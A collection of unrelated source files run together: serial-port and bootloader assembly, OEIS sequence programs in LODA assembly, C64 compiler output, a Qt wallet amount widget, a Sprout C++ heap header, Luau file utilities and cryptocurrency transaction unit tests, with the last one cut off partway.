init_comm PROC ;Set Divisor Latch Access Bit mov dx,3fbh ; Line Control Register mov al,10000000b ;Set Divisor Latch Access Bit out dx,al ;Out it ;Set LSB byte of the Baud Rate Divisor Latch register. mov dx,3f8h mov al,0ch out dx,al ;Set MSB byte of the Baud Rate Divisor Latch register. mov dx,3f9h mov al,00h out dx,al ; ;Set port configuration mov dx,3fbh mov al,00011011b ;0:Access to Receiver buffer, Transmitter buffer ;0:Set Break disabled ;011:Even Parity ;0:One Stop Bit ;11:8bits out dx,al ret init_comm ENDP sendByteproc proc mov dx , 3FDH ;Line Status Register whileHolding: In al , dx ;Read Line Status , to guarantee that the holder register is empty test al , 00100000b ;If zero then it's not empty, otherwise: JZ whileHolding mov dx , 3F8H ;Transmit data register mov al, byteToSend out dx , al ret sendByteproc endp ReceiveByteproc Proc ; return byte in (byteReceived). NoThingReceived: MOV DX,3FDh ;;LineStatus IN AL,DX TEST AL,1 JZ NoThingReceived MOV DX,3F8h IN AL,DX MOV byteReceived,AL RET ReceiveByteproc endp
// Copyright (c) 2011-2014 The MTcoin developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "mtcoinamountfield.h" #include "mtcoinunits.h" #include "guiconstants.h" #include "qvaluecombobox.h" #include <QApplication> #include <QDoubleSpinBox> #include <QHBoxLayout> #include <QKeyEvent> #include <qmath.h> // for qPow() MTcoinAmountField::MTcoinAmountField(QWidget *parent) : QWidget(parent), amount(0), currentUnit(-1) { nSingleStep = 100000; // satoshis amount = new QDoubleSpinBox(this); amount->setLocale(QLocale::c()); amount->installEventFilter(this); amount->setMaximumWidth(170); QHBoxLayout *layout = new QHBoxLayout(this); layout->addWidget(amount); unit = new QValueComboBox(this); unit->setModel(new MTcoinUnits(this)); layout->addWidget(unit); layout->addStretch(1); layout->setContentsMargins(0,0,0,0); setLayout(layout); setFocusPolicy(Qt::TabFocus); setFocusProxy(amount); // If one if the widgets changes, the combined content changes as well connect(amount, SIGNAL(valueChanged(QString)), this, SIGNAL(textChanged())); connect(unit, SIGNAL(currentIndexChanged(int)), this, SLOT(unitChanged(int))); // Set default based on configuration unitChanged(unit->currentIndex()); } void MTcoinAmountField::setText(const QString &text) { if (text.isEmpty()) amount->clear(); else amount->setValue(text.toDouble()); } void MTcoinAmountField::clear() { amount->clear(); unit->setCurrentIndex(0); } bool MTcoinAmountField::validate() { bool valid = true; if (amount->value() == 0.0) valid = false; else if (!MTcoinUnits::parse(currentUnit, text(), 0)) valid = false; else if (amount->value() > MTcoinUnits::maxAmount(currentUnit)) valid = false; setValid(valid); return valid; } void MTcoinAmountField::setValid(bool valid) { if (valid) amount->setStyleSheet(""); else amount->setStyleSheet(STYLE_INVALID); } QString MTcoinAmountField::text() const { if (amount->text().isEmpty()) return QString(); else return amount->text(); } bool MTcoinAmountField::eventFilter(QObject *object, QEvent *event) { if (event->type() == QEvent::FocusIn) { // Clear invalid flag on focus setValid(true); } else if (event->type() == QEvent::KeyPress || event->type() == QEvent::KeyRelease) { QKeyEvent *keyEvent = static_cast<QKeyEvent *>(event); if (keyEvent->key() == Qt::Key_Comma) { // Translate a comma into a period QKeyEvent periodKeyEvent(event->type(), Qt::Key_Period, keyEvent->modifiers(), ".", keyEvent->isAutoRepeat(), keyEvent->count()); QApplication::sendEvent(object, &periodKeyEvent); return true; } } return QWidget::eventFilter(object, event); } QWidget *MTcoinAmountField::setupTabChain(QWidget *prev) { QWidget::setTabOrder(prev, amount); QWidget::setTabOrder(amount, unit); return unit; } qint64 MTcoinAmountField::value(bool *valid_out) const { qint64 val_out = 0; bool valid = MTcoinUnits::parse(currentUnit, text(), &val_out); if (valid_out) { *valid_out = valid; } return val_out; } void MTcoinAmountField::setValue(qint64 value) { setText(MTcoinUnits::format(currentUnit, value)); } void MTcoinAmountField::setReadOnly(bool fReadOnly) { amount->setReadOnly(fReadOnly); unit->setEnabled(!fReadOnly); } void MTcoinAmountField::unitChanged(int idx) { // Use description tooltip for current unit for the combobox unit->setToolTip(unit->itemData(idx, Qt::ToolTipRole).toString()); // Determine new unit ID int newUnit = unit->itemData(idx, MTcoinUnits::UnitRole).toInt(); // Parse current value and convert to new unit bool valid = false; qint64 currentValue = value(&valid); currentUnit = newUnit; // Set max length after retrieving the value, to prevent truncation amount->setDecimals(MTcoinUnits::decimals(currentUnit)); amount->setMaximum(qPow(10, MTcoinUnits::amountDigits(currentUnit)) - qPow(10, -amount->decimals())); amount->setSingleStep((double)nSingleStep / (double)MTcoinUnits::factor(currentUnit)); if (valid) { // If value was valid, re-place it in the widget with the new unit setValue(currentValue); } else { // If current value is invalid, just clear field setText(""); } setValid(true); } void MTcoinAmountField::setDisplayUnit(int newUnit) { unit->setValue(newUnit); } void MTcoinAmountField::setSingleStep(qint64 step) { nSingleStep = step; unitChanged(unit->currentIndex()); }
/*============================================================================= Copyright (c) 2011-2014 Bolero MURAKAMI https://github.com/bolero-MURAKAMI/Sprout Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) =============================================================================*/ #ifndef SPROUT_ALGORITHM_IS_HEAP_UNTIL_HPP #define SPROUT_ALGORITHM_IS_HEAP_UNTIL_HPP #include <iterator> #include <sprout/config.hpp> #include <sprout/iterator/operation.hpp> #include HDR_FUNCTIONAL_SSCRISK_CEL_OR_SPROUT namespace sprout { namespace detail { template<typename RandomAccessIterator, typename Compare> inline SPROUT_CONSTEXPR typename std::iterator_traits<RandomAccessIterator>::difference_type is_heap_until_impl( RandomAccessIterator it, Compare comp, typename std::iterator_traits<RandomAccessIterator>::difference_type first, typename std::iterator_traits<RandomAccessIterator>::difference_type last, typename std::iterator_traits<RandomAccessIterator>::difference_type pivot, typename std::iterator_traits<RandomAccessIterator>::difference_type found ) { return found != first ? found : pivot == 0 ? (!comp(it[first], it[(first - 1) / 2]) ? first : last) : sprout::detail::is_heap_until_impl( it, comp, first + pivot, last, ((last - first) - pivot) / 2, sprout::detail::is_heap_until_impl( it, comp, first, first + pivot, pivot / 2, first ) ) ; } template<typename RandomAccessIterator, typename Compare> inline SPROUT_CONSTEXPR RandomAccessIterator is_heap_until_impl( RandomAccessIterator first, RandomAccessIterator last, Compare comp, typename std::iterator_traits<RandomAccessIterator>::difference_type size ) { return size < 2 ? last : sprout::next(first, sprout::detail::is_heap_until_impl(first, comp, 1, size, (size - 1) / 2, 1)) ; } } // namespace detail // 25.4.6.5 is_heap // // recursion depth: // O(log N) // template<typename RandomAccessIterator, typename Compare> inline SPROUT_CONSTEXPR RandomAccessIterator is_heap_until(RandomAccessIterator first, RandomAccessIterator last, Compare comp) { return sprout::detail::is_heap_until_impl( first, last, comp, sprout::distance(first, last) ); } template<typename RandomAccessIterator> inline SPROUT_CONSTEXPR RandomAccessIterator is_heap_until(RandomAccessIterator first, RandomAccessIterator last) { return sprout::is_heap_until( first, last, NS_SSCRISK_CEL_OR_SPROUT::less<typename std::iterator_traits<RandomAccessIterator>::value_type>() ); } } // namespace sprout #endif // #ifndef SPROUT_ALGORITHM_IS_HEAP_UNTIL_HPP
[org 0x7c00] ; tells program to use offset 7c00 for mem. addresses KERNEL_OFFSET equ 0x1000 mov [BOOT_DRIVE], dl mov bp, 0x9000 mov sp, bp mov bx, MSG_REAL_MODE call print_string call load_kernel call switch_to_pm ; transitions to protected mode jmp $ ;Linker's janky. Order of include matters at times. ;Also need boot/ so nasm can compile from an outside folder. %include "boot/print_real.asm" %include "boot/print_pm.asm" %include "boot/switch_to_pm.asm" %include "boot/load.asm" %include "boot/gdt.asm" [bits 16] load_kernel: mov bx, MSG_LOAD_KERNEL call print_string mov bx, KERNEL_OFFSET mov dh, 2 mov dl, [BOOT_DRIVE] call disk_load mov bx, MSG_DISK_LOAD call print_string ret [bits 32] BEGIN_PM: mov ebx, MSG_PROT_MODE call print_string_pm ; calls protected mode print function call KERNEL_OFFSET jmp $ BOOT_DRIVE db 0 ; store dl in memory MSG_REAL_MODE: db 'Started in 16-bit Real Mode', 0xa, 0xd, 0 MSG_PROT_MODE: db 'Successfully booted into 32-bit Protected Mode', 0 MSG_LOAD_KERNEL: db 'Loading kernel into memory', 0xa, 0xd, 0 MSG_DISK_LOAD: db 'Disk loaded', 0xa, 0xd, 0 times 510-($-$$) db 0 dw 0xaa55
; A022118: Fibonacci sequence beginning 2, 17. ; 2,17,19,36,55,91,146,237,383,620,1003,1623,2626,4249,6875,11124,17999,29123,47122,76245,123367,199612,322979,522591,845570,1368161,2213731,3581892,5795623,9377515,15173138,24550653,39723791,64274444,103998235,168272679,272270914,440543593,712814507,1153358100,1866172607,3019530707,4885703314,7905234021,12790937335,20696171356,33487108691,54183280047,87670388738,141853668785,229524057523,371377726308,600901783831,972279510139,1573181293970,2545460804109,4118642098079,6664102902188,10782745000267,17446847902455,28229592902722,45676440805177,73906033707899,119582474513076,193488508220975,313070982734051,506559490955026,819630473689077,1326189964644103,2145820438333180,3472010402977283,5617830841310463,9089841244287746 mov $1,2 mov $2,5 mov $4,$0 add $4,4 sub $4,$0 add $2,$4 add $2,6 lpb $0 sub $0,1 mov $3,$2 mov $2,$1 add $1,$3 lpe
; A142198: Primes congruent to 39 mod 40. ; Submitted by Christian Krause ; 79,199,239,359,439,479,599,719,839,919,1039,1279,1319,1399,1439,1559,1759,1879,1999,2039,2239,2399,2719,2879,2999,3079,3119,3319,3359,3559,3719,3919,4079,4159,4519,4639,4679,4759,4799,4919,4999,5039,5119,5279,5399,5479,5519,5639,5839,5879,6079,6199,6359,6599,6679,6719,6959,7039,7079,7159,7559,7639,7759,7879,7919,8039,8599,8719,8839,8999,9199,9239,9319,9439,9479,9679,9719,9839,10039,10079,10159,10399,10559,10639,10799,11119,11159,11239,11279,11399,11519,11719,11839,11959,12119,12239,12479,12799 mov $1,9 mov $2,$0 add $2,2 pow $2,2 lpb $2 add $1,29 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,11 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 sub $2,1 lpe mov $0,$1 add $0,30
; A016766: a(n) = (3*n)^2. ; 0,9,36,81,144,225,324,441,576,729,900,1089,1296,1521,1764,2025,2304,2601,2916,3249,3600,3969,4356,4761,5184,5625,6084,6561,7056,7569,8100,8649,9216,9801,10404,11025,11664,12321,12996,13689,14400,15129,15876 mov $1,$0 pow $1,2 mul $1,9
#ifndef SANYOFDC_HH #define SANYOFDC_HH #include "WD2793BasedFDC.hh" namespace openmsx { class SanyoFDC : public WD2793BasedFDC { public: explicit SanyoFDC(const DeviceConfig& config); virtual byte readMem(word address, EmuTime::param time); virtual byte peekMem(word address, EmuTime::param time) const; virtual void writeMem(word address, byte value, EmuTime::param time); virtual const byte* getReadCacheLine(word start) const; virtual byte* getWriteCacheLine(word address) const; template<typename Archive> void serialize(Archive& ar, unsigned version); }; } // namespace openmsx #endif
; A109377: Expansion of ( 2+x+2*x^2 ) / ( 1-2*x+x^2-x^3 ). ; 2,5,10,17,29,51,90,158,277,486,853,1497,2627,4610,8090,14197,24914,43721,76725,134643,236282,414646,727653,1276942,2240877,3932465,6900995,12110402,21252274,37295141,65448410,114853953,201554637,353703731,620706778 mov $1,2 mov $3,5 lpb $0,1 sub $0,1 add $2,$3 sub $2,$1 add $3,$1 add $1,$2 lpe
; A081115: (p^2 - 1)/12 where p > 3 runs through the primes. ; Submitted by Christian Krause ; 2,4,10,14,24,30,44,70,80,114,140,154,184,234,290,310,374,420,444,520,574,660,784,850,884,954,990,1064,1344,1430,1564,1610,1850,1900,2054,2214,2324,2494,2670,2730,3040,3104,3234,3300,3710,4144,4294,4370,4524,4760,4840,5250,5504,5764,6030,6120,6394,6580,6674,7154,7854,8060,8164,8374,9130,9464,10034,10150,10384,10740,11224,11594,11970,12224,12610,13134,13400,13940,14630,14770,15480,15624,16060,16354,16800,17404,17710,17864,18174,19120,19764,20090,20750,21084,21590,22620,22794,24390,24934,25854 seq $0,173064 ; a(n) = prime(n) - 5. add $0,7 mul $0,4 sub $0,8 pow $0,2 div $0,192
// Demonstrates problem with conditions using negated struct references // Commodore 64 PRG executable file .file [name="struct-ptr-20.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(main) .const SIZEOF_STRUCT_SETTING = 2 .const OFFSET_STRUCT_SETTING_ID = 1 .label SCREEN = $400 .segment Code main: { .const len = 3*SIZEOF_STRUCT_SETTING/SIZEOF_STRUCT_SETTING .label setting = 2 ldx #0 lda #<settings sta.z setting lda #>settings sta.z setting+1 __b1: // for(struct Setting* setting = settings; setting<settings+len; setting++) lda.z setting+1 cmp #>settings+len*SIZEOF_STRUCT_SETTING bcc __b2 bne !+ lda.z setting cmp #<settings+len*SIZEOF_STRUCT_SETTING bcc __b2 !: // } rts __b2: // if (! setting->off) ldy #0 lda (setting),y cmp #0 bne __b3 // SCREEN[idx++] = setting->id ldy #OFFSET_STRUCT_SETTING_ID lda (setting),y sta SCREEN,x // SCREEN[idx++] = setting->id; inx __b3: // for(struct Setting* setting = settings; setting<settings+len; setting++) lda #SIZEOF_STRUCT_SETTING clc adc.z setting sta.z setting bcc !+ inc.z setting+1 !: jmp __b1 } .segment Data settings: .byte 0, 'a', 1, 'b', 0, 'c'
.constant_pool .const 0 string [start] .const 1 string [constructor] .const 2 string [(2 * (8 - 18 / 9 * 6) * (49 / 7 - 3))=] .const 3 int [2] .const 4 int [8] .const 5 int [18] .const 6 int [9] .const 7 int [6] .const 8 int [49] .const 9 int [7] .const 10 int [3] .const 11 string [io.writeln] .end .entity start .valid_context_when (always) .method constructor ldconst 2 --> [(2 * (8 - 18 / 9 * 6) * (49 / 7 - 3))=] ldconst 3 --> [2] ldconst 4 --> [8] ldconst 5 --> [18] ldconst 6 --> [9] div ldconst 7 --> [6] mul sub mul ldconst 8 --> [49] ldconst 9 --> [7] div ldconst 10 --> [3] sub mul ldconst 3 --> [2] lcall 11 --> [io.writeln] exit .end .end
; A184036: 1/16 the number of (n+1) X 7 0..3 arrays with all 2 X 2 subblocks having the same four values. ; 325,337,358,400,478,634,934,1534,2710,5062,9718,19030,37558,74614,148534,296374,591670,1182262,2362678,4723510,9443638,18883894,37761334,75516214,151019830,302027062,604029238,1208033590,2416017718,4831985974,9663873334,19327648054,38655099190,77310001462,154619609398,309238825270,618476863798,1236952940854,2473904308534,4947807043894,9895610941750,19791218737462,39582431183158,79164856074550,158329699565878,316659386548534,633318747930934,1266637470695734,2533274891059510,5066549731787062,10133099362910518,20266198625157430,40532397048987958,81064793896649014,162129587390644534,324259174378635574,648518347951964470,1297036695098622262,2594073388586631478,5188146775562649910,10376293547904074038,20752587092586922294,41505174178731393334,83010348351020335414,166020696689155768630,332041393365426635062,664082786705083466038,1328165573384397127990,2656331146717254648118,5312662293382969688374,10625324586662860161334,21250649173222641107254,42501298346239123783990,85002596692272089137462,170005193384131861414198,340010386767851405967670,680020773534878178214198,1360041547068931722707254,2720083094136214177972534,5440166188270779088503094,10880332376538259642122550,21760664753073220749361462,43521329506139844428955958,87042659012273091788144950,174085318024532989436756278,348170636049052784733978934,696341272098079181188890934,1392682544196131974098714934,2785365088392211171639296310,5570730176784369566720459062,11141460353568633580324651318,22282920707137161607533035830,44565841414274112108833538358,89131682828548013111434543414,178263365657095604010404020534,356526731314190785808342974774,713053462628380727191755817270,1426106925256760609958581502262,2852213850513519531067302740278,5704427701027037373284745216310 mov $1,4 mov $2,$0 lpb $0 mul $1,2 add $1,$2 sub $1,$0 sub $0,1 trn $2,2 lpe sub $1,4 mul $1,3 add $1,325 mov $0,$1
; A334958: GCD of consecutive terms of the factorial times the alternating harmonic series. ; Submitted by Christian Krause ; 1,1,1,2,2,12,12,48,144,1440,1440,17280,17280,241920,18144000,145152000,145152000,2612736000,2612736000,10450944000,219469824000,4828336128000,4828336128000,115880067072000,579400335360000,15064408719360000,135579678474240000,26573616980951040000,26573616980951040000 mov $1,1 lpb $0 mov $2,$0 add $3,$1 mul $3,$0 sub $0,1 add $2,1 mul $1,$2 mul $3,-1 lpe gcd $3,$1 mov $0,$3
; Z88 Small C+ Run time Library ; Moved functions over to proper libdefs ; To make startup code smaller and neater! ; ; 6/9/98 djm SECTION code_l_sccz80 PUBLIC l_xor l_xor: ; "xor" HL and DE into HL ld a,l xor e ld l,a ld a,h xor d ld h,a ret
; A241756: A finite sum of products of binomial coefficients: Sum_(m=0..n) binomial(-1/4, m)^2*binomial(-1/4, n-m)^2 (C. C. Grosjean's problem, denominators). ; 1,8,512,4096,2097152,16777216,1073741824,8589934592,35184372088832,281474976710656,18014398509481984,144115188075855872,73786976294838206464,590295810358705651712,37778931862957161709568,302231454903657293676544 seq $0,46161 ; a(n) = denominator of binomial(2n,n)/4^n. pow $0,3
// This file is part of the Luau programming language and is licensed under MIT License; see LICENSE.txt for details #include "FileUtils.h" #include "Luau/Common.h" #ifdef _WIN32 #define WIN32_LEAN_AND_MEAN #include <windows.h> #else #include <dirent.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> #endif #include <string.h> #ifdef _WIN32 static std::wstring fromUtf8(const std::string& path) { size_t result = MultiByteToWideChar(CP_UTF8, 0, path.data(), int(path.size()), nullptr, 0); LUAU_ASSERT(result); std::wstring buf(result, L'\0'); MultiByteToWideChar(CP_UTF8, 0, path.data(), int(path.size()), &buf[0], int(buf.size())); return buf; } static std::string toUtf8(const std::wstring& path) { size_t result = WideCharToMultiByte(CP_UTF8, 0, path.data(), int(path.size()), nullptr, 0, nullptr, nullptr); LUAU_ASSERT(result); std::string buf(result, '\0'); WideCharToMultiByte(CP_UTF8, 0, path.data(), int(path.size()), &buf[0], int(buf.size()), nullptr, nullptr); return buf; } #endif std::optional<std::string> readFile(const std::string& name) { #ifdef _WIN32 FILE* file = _wfopen(fromUtf8(name).c_str(), L"rb"); #else FILE* file = fopen(name.c_str(), "rb"); #endif if (!file) return std::nullopt; fseek(file, 0, SEEK_END); long length = ftell(file); if (length < 0) { fclose(file); return std::nullopt; } fseek(file, 0, SEEK_SET); std::string result(length, 0); size_t read = fread(result.data(), 1, length, file); fclose(file); if (read != size_t(length)) return std::nullopt; return result; } template<typename Ch> static void joinPaths(std::basic_string<Ch>& str, const Ch* lhs, const Ch* rhs) { str = lhs; if (!str.empty() && str.back() != '/' && str.back() != '\\' && *rhs != '/' && *rhs != '\\') str += '/'; str += rhs; } #ifdef _WIN32 static bool traverseDirectoryRec(const std::wstring& path, const std::function<void(const std::string& name)>& callback) { std::wstring query = path + std::wstring(L"/*"); WIN32_FIND_DATAW data; HANDLE h = FindFirstFileW(query.c_str(), &data); if (h == INVALID_HANDLE_VALUE) return false; std::wstring buf; do { if (wcscmp(data.cFileName, L".") != 0 && wcscmp(data.cFileName, L"..") != 0) { joinPaths(buf, path.c_str(), data.cFileName); if (data.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT) { // Skip reparse points to avoid handling cycles } else if (data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { traverseDirectoryRec(buf, callback); } else { callback(toUtf8(buf)); } } } while (FindNextFileW(h, &data)); FindClose(h); return true; } bool traverseDirectory(const std::string& path, const std::function<void(const std::string& name)>& callback) { return traverseDirectoryRec(fromUtf8(path), callback); } #else static bool traverseDirectoryRec(const std::string& path, const std::function<void(const std::string& name)>& callback) { int fd = open(path.c_str(), O_DIRECTORY); DIR* dir = fdopendir(fd); if (!dir) return false; std::string buf; while (dirent* entry = readdir(dir)) { const dirent& data = *entry; if (strcmp(data.d_name, ".") != 0 && strcmp(data.d_name, "..") != 0) { joinPaths(buf, path.c_str(), data.d_name); int type = data.d_type; int mode = -1; // we need to stat DT_UNKNOWN to be able to tell the type if (type == DT_UNKNOWN) { struct stat st = {}; #ifdef _ATFILE_SOURCE fstatat(fd, data.d_name, &st, 0); #else lstat(buf.c_str(), &st); #endif mode = st.st_mode; } if (type == DT_DIR || mode == S_IFDIR) { traverseDirectoryRec(buf, callback); } else if (type == DT_REG || mode == S_IFREG) { callback(buf); } else if (type == DT_LNK || mode == S_IFLNK) { // Skip symbolic links to avoid handling cycles } } } closedir(dir); return true; } bool traverseDirectory(const std::string& path, const std::function<void(const std::string& name)>& callback) { return traverseDirectoryRec(path, callback); } #endif bool isDirectory(const std::string& path) { #ifdef _WIN32 return (GetFileAttributesW(fromUtf8(path).c_str()) & FILE_ATTRIBUTE_DIRECTORY) != 0; #else struct stat st = {}; lstat(path.c_str(), &st); return (st.st_mode & S_IFMT) == S_IFDIR; #endif } std::string joinPaths(const std::string& lhs, const std::string& rhs) { std::string result = lhs; if (!result.empty() && result.back() != '/' && result.back() != '\\') result += '/'; result += rhs; return result; } std::optional<std::string> getParentPath(const std::string& path) { if (path == "" || path == "." || path == "/") return std::nullopt; #ifdef _WIN32 if (path.size() == 2 && path.back() == ':') return std::nullopt; #endif std::string::size_type slash = path.find_last_of("\\/", path.size() - 1); if (slash == 0) return "/"; if (slash != std::string::npos) return path.substr(0, slash); return ""; }
; A229151: a(n) = n^8*(5*n+4). ; 0,9,3584,124659,1572864,11328125,57106944,224827239,738197504,2109289329,5400000000,12647173979,27518828544,56285419749,109208390144,202468359375,360777252864,620842412249,1035876294144,1681372741059,2662400000000,4122691670349,6255849583104,9319007248439,13649338957824,19683837890625,27982826653184,39257705570859,54403487760384,74536715531189,101039400000000,135609674953119,180319906955264,237683056482729,310728139451904,403085694921875,519084222971904,663858616791069,843471674868224,1065049842835719,1336934400000000,1668849372886289,2072087527233024,2559715860794619,3146802092048384,3850663714453125,4691141262273024,5690897512160879,6875744424689664,8274999711830649 mov $1,$0 pow $1,8 mov $2,$0 mul $2,5 mov $3,$2 add $3,4 mul $3,4 mul $1,$3 mul $1,10 div $1,40
;; ;; Copyright (c) 2020-2022, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %define NUM_LANES 8 %define AES_CBC_MAC aes128_cbc_mac_x8_sse %define SUBMIT_JOB_AES_CMAC_AUTH submit_job_aes128_cmac_auth_x8_sse %define FLUSH_JOB_AES_CMAC_AUTH flush_job_aes128_cmac_auth_x8_sse %include "sse/mb_mgr_aes128_cmac_submit_flush_x4_sse.asm"
; A063957: Numbers not of the form round(m*sqrt(2)) for any integer m, i.e., complement of A022846. ; 2,5,9,12,15,19,22,26,29,32,36,39,43,46,50,53,56,60,63,67,70,73,77,80,84,87,90,94,97,101,104,108,111,114,118,121,125,128,131,135,138,142,145,149,152,155,159,162,166,169,172,176,179,183,186,189,193,196,200,203,207,210,213,217,220,224,227,230,234,237,241,244,248,251,254,258,261,265,268,271,275,278,282,285,289,292,295,299,302,306,309,312,316,319,323,326,329,333,336,340,343,347,350,353,357,360,364,367,370,374,377,381,384,388,391,394,398,401,405,408,411,415,418,422,425,428,432,435,439,442,446,449,452,456,459,463,466,469,473,476,480,483,487,490,493,497,500,504,507,510,514,517,521,524,527,531,534,538,541,545,548,551,555,558,562,565,568,572,575,579,582,586,589,592,596,599,603,606,609,613,616,620,623,627,630,633,637,640,644,647,650,654,657,661,664,667,671,674,678,681,685,688,691,695,698,702,705,708,712,715,719,722,726,729,732,736,739,743,746,749,753,756,760,763,766,770,773,777,780,784,787,790,794,797,801,804,807,811,814,818,821,825,828,831,835,838,842,845,848,852 mov $2,$0 mov $4,$0 lpb $0,1 add $3,$2 lpb $2,1 add $0,$3 sub $2,1 lpe lpb $0,1 sub $0,2 trn $0,$1 add $1,1 lpe lpe lpb $4,1 add $1,2 sub $4,1 lpe add $1,2
; A185670: Number of pairs (x,y) with 1 <= x < y <= n with at least one common factor. ; 0,0,0,1,1,4,4,7,9,14,14,21,21,28,34,41,41,52,52,63,71,82,82,97,101,114,122,137,137,158,158,173,185,202,212,235,235,254,268,291,291,320,320,343,363,386,386,417,423,452,470,497,497,532,546,577,597,626,626,669,669,700,726,757,773,818,818,853,877,922,922,969,969,1006,1040,1079,1095,1148,1148,1195,1221,1262,1262,1321,1341,1384,1414,1461,1461,1526,1544,1591,1623,1670,1692,1755,1755,1810,1848,1907 lpb $0 mov $2,$0 sub $0,1 seq $2,219428 ; a(n) = n - 1 - phi(n). add $1,$2 lpe mov $0,$1
SECTION code_l PUBLIC l_inc_dehl l_inc_dehl: ; increment 32-bit value ; ; enter : dehl = 32 bit number ; ; exit : dehl = dehl + 1 ; ; uses : f, de, hl inc l ret nz inc h ret nz inc de ret
#include <map> #include <string> #include <boost/test/unit_test.hpp> #include "json/json_spirit_writer_template.h" #include "main.h" #include "wallet.h" using namespace std; using namespace json_spirit; // In script_tests.cpp extern Array read_json(const std::string& filename); extern CScript ParseScript(string s); BOOST_AUTO_TEST_SUITE(transaction_tests) BOOST_AUTO_TEST_CASE(tx_valid) { // Read tests from test/data/tx_valid.json // Format is an array of arrays // Inner arrays are either [ "comment" ] // or [[[prevout hash, prevout index, prevout scriptPubKey], [input 2], ...],"], serializedTransaction, enforceP2SH // ... where all scripts are stringified scripts. Array tests = read_json("tx_valid.json"); BOOST_FOREACH(Value& tv, tests) { Array test = tv.get_array(); string strTest = write_string(tv, false); if (test[0].type() == array_type) { if (test.size() != 3 || test[1].type() != str_type || test[2].type() != bool_type) { BOOST_ERROR("Bad test: " << strTest); continue; } map<COutPoint, CScript> mapprevOutScriptPubKeys; Array inputs = test[0].get_array(); bool fValid = true; BOOST_FOREACH(Value& input, inputs) { if (input.type() != array_type) { fValid = false; break; } Array vinput = input.get_array(); if (vinput.size() != 3) { fValid = false; break; } mapprevOutScriptPubKeys[COutPoint(uint256(vinput[0].get_str()), vinput[1].get_int())] = ParseScript(vinput[2].get_str()); } if (!fValid) { BOOST_ERROR("Bad test: " << strTest); continue; } string transaction = test[1].get_str(); CDataStream stream(ParseHex(transaction), SER_NETWORK, PROTOCOL_VERSION); CTransaction tx; stream >> tx; CValidationState state; BOOST_CHECK_MESSAGE(tx.CheckTransaction(state), strTest); BOOST_CHECK(state.IsValid()); for (unsigned int i = 0; i < tx.vin.size(); i++) { if (!mapprevOutScriptPubKeys.count(tx.vin[i].prevout)) { BOOST_ERROR("Bad test: " << strTest); break; } BOOST_CHECK_MESSAGE(VerifyScript(tx.vin[i].scriptSig, mapprevOutScriptPubKeys[tx.vin[i].prevout], tx, i, test[2].get_bool() ? SCRIPT_VERIFY_P2SH : SCRIPT_VERIFY_NONE, 0), strTest); } } } } BOOST_AUTO_TEST_CASE(tx_invalid) { // Read tests from test/data/tx_invalid.json // Format is an array of arrays // Inner arrays are either [ "comment" ] // or [[[prevout hash, prevout index, prevout scriptPubKey], [input 2], ...],"], serializedTransaction, enforceP2SH // ... where all scripts are stringified scripts. Array tests = read_json("tx_invalid.json"); BOOST_FOREACH(Value& tv, tests) { Array test = tv.get_array(); string strTest = write_string(tv, false); if (test[0].type() == array_type) { if (test.size() != 3 || test[1].type() != str_type || test[2].type() != bool_type) { BOOST_ERROR("Bad test: " << strTest); continue; } map<COutPoint, CScript> mapprevOutScriptPubKeys; Array inputs = test[0].get_array(); bool fValid = true; BOOST_FOREACH(Value& input, inputs) { if (input.type() != array_type) { fValid = false; break; } Array vinput = input.get_array(); if (vinput.size() != 3) { fValid = false; break; } mapprevOutScriptPubKeys[COutPoint(uint256(vinput[0].get_str()), vinput[1].get_int())] = ParseScript(vinput[2].get_str()); } if (!fValid) { BOOST_ERROR("Bad test: " << strTest); continue; } string transaction = test[1].get_str(); CDataStream stream(ParseHex(transaction), SER_NETWORK, PROTOCOL_VERSION); CTransaction tx; stream >> tx; CValidationState state; fValid = tx.CheckTransaction(state) && state.IsValid(); for (unsigned int i = 0; i < tx.vin.size() && fValid; i++) { if (!mapprevOutScriptPubKeys.count(tx.vin[i].prevout)) { BOOST_ERROR("Bad test: " << strTest); break; } fValid = VerifyScript(tx.vin[i].scriptSig, mapprevOutScriptPubKeys[tx.vin[i].prevout], tx, i, test[2].get_bool() ? SCRIPT_VERIFY_P2SH : SCRIPT_VERIFY_NONE, 0); } BOOST_CHECK_MESSAGE(!fValid, strTest); } } } BOOST_AUTO_TEST_CASE(basic_transaction_tests) { // Random real transaction 